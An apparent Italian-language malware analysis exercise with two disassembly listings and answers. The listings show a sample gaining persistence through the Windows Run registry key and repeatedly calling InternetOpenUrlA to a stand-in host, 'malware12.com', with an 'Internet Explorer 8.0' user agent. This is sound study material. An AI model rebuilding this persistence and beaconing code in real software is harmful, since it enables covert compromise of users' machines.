

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW

```

```

.text:00401150 ; ::::::::::::::: S U B R O U T I N E :::::::::::::::
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress  proc near ; DATA XREF: sub_401040+EC70
.text:00401150          push    esi
.text:00401151          push    edi
.text:00401152          push    0            ; dwFlags
.text:00401154          push    0            ; lpszProxyBypass
.text:00401156          push    0            ; lpszProxy
.text:00401158          push    1            ; dwAccessType
.text:0040115A          push    offset szAgent ; "Internet Explorer 8.0"
.text:0040115F          call    ds:InternetOpenA
.text:00401165          mov     edi, ds:InternetOpenUrlA
.text:0040116B          mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+304j
.text:0040116D          push    0            ; dwContext
.text:0040116F          push    80000000h     ; dwFlags
.text:00401174          push    0            ; dwHeadersLength
.text:00401176          push    0            ; lpszHeaders
.text:00401178          push    offset szUrl  ; "http://www.malware12.com"
.text:0040117D          push    esi           ; hInternet
.text:0040117E          call    edi ; InternetOpenUrlA
.text:00401180          jmp     short loc_40116D
.text:00401180 StartAddress  endp
.text:00401180

```

Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

Il malware ottiene la persistenza inserendo un nuovo valore all'interno della chiave di registro Software\\Microsoft\\Windows\\CurrentVersion\\Run, mentre per quanto riguarda le funzioni utilizzate sono la RegOpenKey, che permette di aprire la chiave selezionata, con i parametri che passano sullo stack tramite istruzioni push e RegSetValueEx, che permette al malware di inserire un nuovo valore all'interno della chiave di registro appena aperta

Identificare il client software utilizzato dal malware per la connessione ad Internet

Il client utilizzato dal malware per connettersi ad internet è Internet Explorer è la versione 8

Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

Il malware cerca di connettersi all'URL www.malware12.com. La chiamata di funzione che consente al malware la connessione verso un URL è «InternetOpenURL».